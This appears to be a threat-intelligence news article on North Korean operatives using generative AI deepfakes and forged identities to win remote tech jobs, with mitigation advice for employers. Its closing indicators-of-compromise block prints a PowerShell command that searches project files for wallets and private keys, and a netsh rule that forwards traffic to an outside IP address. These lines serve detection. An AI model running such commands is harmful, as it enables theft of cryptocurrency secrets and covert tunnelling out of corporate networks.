North Korean state-sponsored hackers are increasingly using generative AI (GenAI) to bypass hiring checks and infiltrate remote technical roles at global companies, according to a report by Okta Threat Intelligence1. These campaigns, known as “DPRK IT Workers” or “Wagemole” operations, leverage AI-generated deepfakes, synthetic personas, and forged documentation to pose as legitimate candidates. Recent investigations reveal that these operatives have successfully embedded themselves in cryptocurrency firms, blockchain projects, and IT service providers across the U.S., Europe, and Asia.
GenAI-Driven Fraud Tactics
The Lazarus Group and Kimsuky, two prominent North Korean APT groups, have adopted GenAI tools to create convincing fake identities. These include deepfake video interviews, AI-generated GitHub commit histories, and forged identification documents2. In one documented case, hackers used a synthetic persona to pass a three-stage interview process at a blockchain startup before gaining access to proprietary code repositories.
Operatives frequently register U.S.-based shell companies (e.g., Blocknovas LLC, Softglide LLC) to lend credibility to their fake profiles3. The FBI seized Blocknovas.com in April 2025 after discovering it distributed malware through fraudulent job postings targeting developers.
Technical Execution and Infrastructure
Once hired, workers typically:
- Request corporate laptops be shipped to intermediary “laptop farms” (e.g., Christina Marie Chapman’s Arizona operation that facilitated $17.1M in illicit revenue4)
- Use PowerShell and macOS exploits during fake “system registration” processes to install backdoors5
- Route traffic through residential proxies to mimic legitimate employee locations
The NYDFS has observed cases where compromised workers used their access to:
| Tactic | Frequency (2025) |
|---|---|
| Data exfiltration | 68% of cases |
| Ransomware deployment | 22% |
| Cryptocurrency theft | 10% |
Mitigation Strategies
The NYDFS recommends these controls for companies hiring remote technical staff:
“Mandate biometric verification with liveness detection for all remote hires, particularly those requesting hardware shipments. Continuously monitor device geolocation and network traffic patterns for anomalies.”6
Additional technical measures include:
- Implementing zero-trust hiring frameworks with multi-stage technical assessments
- Restricting developer access through just-in-time privilege escalation
- Monitoring for suspicious patterns in code commits (e.g., bulk transfers during off-hours)
The FBI has published indicators of compromise (IOCs) including:
# Common command patterns from infected devices Get-ChildItem -Path "C:\Projects\*" -Recurse -File | Select-String "wallet|private key" netsh interface portproxy add v4tov4 listenport=443 connectaddress=175.45.176[.]1
Conclusion
This campaign represents a significant evolution in North Korea’s cyber operations, blending social engineering with advanced technical tradecraft. As remote work becomes standard, organizations must adapt their vetting processes to counter AI-assisted threats. The integration of behavioral analytics and hardware-based attestation may become necessary defenses against synthetic identities.
